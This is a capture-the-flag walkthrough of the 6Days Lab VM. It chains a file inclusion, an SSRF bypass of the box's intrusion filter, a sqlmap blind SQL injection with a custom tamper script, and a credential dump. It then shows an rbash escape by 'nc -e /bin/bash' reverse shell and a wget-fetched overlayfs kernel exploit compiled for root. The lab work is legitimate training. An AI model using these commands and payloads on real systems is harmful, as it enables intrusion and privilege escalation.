6Days Lab 1.1

This time, I'm up against 6Days Lab vm, made by @1ce7ea and the vm's custom IPS - Rashomon.

Let's see what this is all about. First things first, let's see what services we've got available to play with.

[email protected]:/usr/share/sqlmap/tamper# nmap -T4 -sV -p- -Pn -n 192.168.110.129

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-04 17:18 EET
Nmap scan report for 192.168.110.129
Host is up (0.00018s latency).
Not shown: 65532 closed ports
PORT     STATE    SERVICE    VERSION
22/tcp   open     ssh        OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open     http       Apache httpd 2.2.22 ((Ubuntu))
8080/tcp filtered http-proxy
MAC Address: 00:0C:29:A9:7B:FA (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.34 seconds

Connectin to the ssh server doesn't reveal anything of interest, just the usual login prompt, so let's move on to the webserver. Port 8080 is filtered, so I only got port 80 left. Let's see what we can find there.

So they are selling some uber IPS. The promocode seems to net be working though. The IPS seems to be working against some "odd" requests (eg quotes).


That image however that is being loaded externaly through image.php, looks like some kind of inclusion right?


Indeed, that's LFI. And I know now that there are 2 user accounts, "user" and "andrea", with andrea having a limited shell of sorts. Since there is that LFI there, I start enumerating files that are present in the box to see if I can get any useful information from that.

[email protected]:~/ctfs/6days# wfuzz -c -w /root/Tools/SecLists/Discovery/Web_Content/raft-small-files-lowercase.txt --hc 404 --hw 0 --hl 1 http://192.168.110.129/image.php?src=FUZZ
********************************************************
* Wfuzz 2.1.3 - The Web Bruteforcer                      *
********************************************************

Target: http://192.168.110.129/image.php?src=FUZZ
Total requests: 10848

==================================================================
ID Response   Lines      Word         Chars          Request    
==================================================================

00033:  C=200     28 L      189 W    1446 Ch   "index.php"
00056:  C=200      5 L       13 W     114 Ch   "config.php"
10845:  C=200      5 L        8 W      82 Ch   "image.php"

Total time: 33.12079
Processed Requests: 10848
Filtered Requests: 10845
Requests/sec.: 327.5283

Having hidden length 1 in order to hide the "malicious request blocked" message, wordcount 0 in order to block blank pages (that means that the page isn't found) and code 404 well for obvious reasons.

Other than index.php and image.php that we already know about, confg.php was found. Let's check it out.


Database credentials, however, we cannot connect to the database for the time being. Let's see what else there is. I haven't checked a page that we already know about, the checkpromo.php one.


From the code, it looks like it should be vulnerable to sql injection, however, the IPS is there shielding it. I spent some time talking with my buddy mrb3n about this since we were both doing this ctf. In the meantime I'm browsing the page and notice the following on a 404 error page.


The webserver on port 8080 says that there is no such page. Wait, haven't I been trying port 80? So the IPS must be listening on port 80 as a reverse proxy, forwarding legit requests to the actual web server on port 8080.

Then, SSRF comes to mind. We realize that we can practically bypass the IPS by using image.php to make the requests locally inside the box.

As a next step, I have to create a Match and Replace rule in burp to make all my requests use the SSRF.


With this rule in place, I launch SQLMAP on it, proxy it through burp to utilize the SSRF, try some tamper scripts and indeed we are dealing with a time-based blind SQL Injection.

[email protected]:~/ctfs/6days# sqlmap -r request --risk=3 --level=5 --proxy=http://127.0.0.1:8080 --tamper=chardoubleencode

...
OUTPUT OMITTED
...

[18:36:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'                                    
[18:37:12] [INFO] GET parameter 'promocode' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable 
[18:37:12] [INFO] checking if the injection point on GET parameter 'promocode' is a false positive
[18:39:04] [WARNING] there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests
GET parameter 'promocode' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: promocode (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: promocode=NONEEDFORPENTEST' AND SLEEP(5)-- neDM
---
[18:39:32] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[18:39:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 13.04 or 12.04 or 12.10 (Raring Ringtail or Precise Pangolin or Quantal Quetzal)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.12
[18:39:32] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.110.129'

The request I am using is the following, as taken from burp. Since we are using burp to exploit the SSRF I can use this request directly and burp will do the job of going through the image.php file etc.

GET /checkpromo.php?promocode=NONEEDFORPENTEST HTTP/1.1
Host: 192.168.110.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.110.129/
Connection: close

And in burp we can see that indeed a custom query with a sleep in it takes the time we have specified to be executed.


So, indeed the SQLi is verified. A time based blind. However, when I try to exploit it to get some information out of it, all my attempts fail, and I'm not able to retrieve any data.

The thing is, my version of burp is the free one here, and even though I'd love to use Intruder to make it work, there are limitations. These limitations would make exploiting the SQLi a very time consuming thing so I decide to go with sqlmap which makes thins a lot easier.

However, when I try to enumerate things with sqlmap...my requests start timing out and the server responds with a 400 error bad request. So it seems that the request sqlmap is actually making is too long for the webserver to handle. Seems like all that double encoding is too much


At this point, and while discussing all these with mrb3n we verify that only special characters have to be double url encoded. However sqlmap oddly enough doesn't have such a tamper script, so I decide to write one.

The script is this one, and all it needs is to be placed inside /usr/share/sqlmap/tamper folder and then it can be directly called from sqlmap.

[email protected]:~# cat /usr/share/sqlmap/tamper/doubleurlencode.py 
#!/usr/bin/env python

"""
blahblah I don't like copyrights
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Does double url encoding on special characters of the payload.
    """

    temp = payload.replace(" ", "%20") if payload else payload
    temp = temp.replace("!", "%21") if payload else payload
    temp = temp.replace("\"", "%22") if payload else payload
    temp = temp.replace("#", "%23") if payload else payload
    temp = temp.replace("$", "%24") if payload else payload
    temp = temp.replace("&", "%26") if payload else payload
    temp = temp.replace("\'", "%27") if payload else payload
    temp = temp.replace("(", "%28") if payload else payload
    temp = temp.replace(")", "%29") if payload else payload
    temp = temp.replace("\*", "%2A") if payload else payload
    temp = temp.replace("%", "%25") if payload else payload
    return temp

And success! I can now enumerate pretty much whatever I want. I quickly grab the db name (fancydb) and move on to tables.

[email protected]:~/ctfs/6days# sqlmap -r request --risk=3 --level=5 --proxy=http://127.0.0.1:8080 --tamper=doubleurlencode -D fancydb --tables
...
OUTPUT OMITTED
...
[23:30:05] [WARNING] increasing time delay to 3 seconds 
promocodes
[23:33:03] [INFO] retrieved: users
Database: fancydb
[2 tables]
+------------+
| promocodes |
| users      |
+------------+

[23:34:29] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.110.129'

[*] shutting down at 23:34:29

So we have 2 tables. promocodes and users. Nothing interesting in promocodes, so let's dump users.

[email protected]:~/ctfs/6days# sqlmap -r request --risk=3 --level=5 --proxy=http://127.0.0.1:8080 --tamper=doubleurlencode -D fancydb -T users --dump
...
OUTPUT OMITTED
...
[23:53:18] [INFO] analyzing table dump for possible password hashes
Database: fancydb
Table: users
[1 entry]
+----+----------+-----------------+
| id | username | password        |
+----+----------+-----------------+
| 1  | andrea   | SayNoToPentests |
+----+----------+-----------------+

[23:53:18] [INFO] table 'fancydb.users' dumped to CSV file '/root/.sqlmap/output/192.168.110.129/dump/fancydb/users.csv'
[23:53:18] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.110.129'

[*] shutting down at 23:53:18

Username "andrea" and password "SayNoToPentests". Yeah I don't think you can rely on that IPS of yours that much...On the bright side we have some credentials!

But wait, andrea is one of the users we saw earlier in /etc/passwd through the LFI. This means that we might actually have an OS account even with a limited shell? Since SSH is open, let's check it out.

[email protected]:~/ctfs/6days# ssh [email protected]
The authenticity of host '192.168.110.129 (192.168.110.129)' can't be established.
ECDSA key fingerprint is SHA256:3keyS4hymFgGKCTjQOYToo7bWvFUvSgasZ+YUE9qNaA.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.110.129' (ECDSA) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-32-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Sat Jan  7 19:57:59 EET 2017

  System load:  0.08              Processes:           80
  Usage of /:   18.6% of 6.76GB   Users logged in:     0
  Memory usage: 10%               IP address for eth0: 192.168.110.129
  Swap usage:   0%

  Graph this data and manage this system at:
    https://landscape.canonical.com/

New release '14.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Your Hardware Enablement Stack (HWE) is supported until April 2017.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

[email protected]:~$

Aaand we're in. Now running commands seems to be returning no output, however the LFI previously showed us that andreas default shell is /bin/andrea.

Taking a step back and using the LFI to check out that /bin/andrea file.


So, I'm dealing with rbash and the lack of output is due to the fact that it's being redirected to /dev/null. Trying to run /bin/bash directly from there isn't allowed, but how about doing so with a reverse netcat shell?

[email protected]:~$ /bin/bash
rbash: /bin/bash: restricted: cannot specify `/' in command names
[email protected]:~$ nc -e /bin/bash 192.168.110.128 1234

And on my local listener

[email protected]:~# nc -lvp 1234
listening on [any] 1234 ...
192.168.110.129: inverse host lookup failed: Unknown host
connect to [192.168.110.128] from (UNKNOWN) [192.168.110.129] 46636
python -c 'import pty; pty.spawn("/bin/bash")'
[email protected]:~$ id
id
uid=1001(andrea) gid=1001(andrea) groups=1001(andrea)
[email protected]:~$ ls -l
ls -l
total 8
-rwsrwxr-x 1 root andrea 7452 Jul 11 17:20 dog
[email protected]:~$

Much better. I'm out of the restricted shell. And there is an odd binary, named "dog". However during the enumeration phase I notice this.

[email protected]:~$ uname -r
uname -r
3.13.0-32-generic
[email protected]:~$ cat /etc/lsb-release
cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.04
DISTRIB_CODENAME=precise
DISTRIB_DESCRIPTION="Ubuntu 12.04.5 LTS"

This info kinda screams overlay fs local privilege escalation exploit so I decide to give this a spin. Locally I move the copy of the exploit to my webroot, and start the apache server.

[email protected]:~# searchsploit ubuntu 12.04
--------------------------------------------------------------- ----------------------------------
 Exploit Title                                                 |  Path
                                                               | (/usr/share/exploitdb/platforms)
--------------------------------------------------------------- ----------------------------------
Linux Kernel 3.2.0-23 / 3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 | /linux/local/33589.c
Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - 'ptrace/sysret' P | /lin_x86-64/local/34134.c
usb-creator 0.2.x (Ubuntu 12.04/14.04/14.10) - Privilege Escal | /linux/local/36820.txt
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) -  | /linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) -  | /linux/local/37293.txt
--------------------------------------------------------------- ----------------------------------
[email protected]:~# cp /usr/share/exploitdb/platforms/linux/local/37292.c /var/www/html/
[email protected]:~# service apache2 start

Then, in the box as andrea I download compile and run the exploit.

[email protected]:~$ wget http://192.168.110.128/37292.c
wget http://192.168.110.128/37292.c 
--2017-01-07 20:40:47--  http://192.168.110.128/37292.c
Connecting to 192.168.110.128:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5123 (5.0K) [text/x-csrc]
Saving to: `37292.c'

100%[======================================>] 5,123       --.-K/s   in 0s      

2017-01-07 20:40:47 (295 MB/s) - `37292.c' saved [5123/5123]

[email protected]:~$ gcc 37292.c -o ofs
gcc 37292.c -o ofs
[email protected]:~$ ./ofs
./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
whoami
root

Aaand there we have it! Root. Now let's go grab our flag.

# python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
[email protected]:/home/andrea# cd /
cd /
[email protected]:/# ./flag 
./flag


  _________ _____  __  ______  __  ______ _      ______    ____ ___  ___
 / ___/ __ `/ __ \/ / / / __ \/ / / / __ \ | /| / / __ \  / __ `__ \/ _ \
/ /__/ /_/ / / / / /_/ / /_/ / /_/ / /_/ / |/ |/ / / / / / / / / / /  __/
\___/\__,_/_/ /_/\__, /\____/\__,_/ .___/|__/|__/_/ /_(_)_/ /_/ /_/\___/
                /____/           /_/


        Author: @1ce7ea


 Congratulations on successfully completing our boot2root vm!
 Please consider visiting our website and following us on Twitter.
 And please provide feedback. I hope you enjoyed it :)

 Website: http://canyoupwn.me/
 Twitter: https://twitter.com/canyoupwnme
 Author: https://twitter.com/1ce7ea

Done! All in all a very nice box, even though I never got to mess around with that "dog" binary, I didn't actually need to. The SSRF touch along with the SQLi was a very nice one.

Thanks a lot goes to @1ce7ea for creating it and as always to Vulnhub for hosting these things.
Cheers!

Comments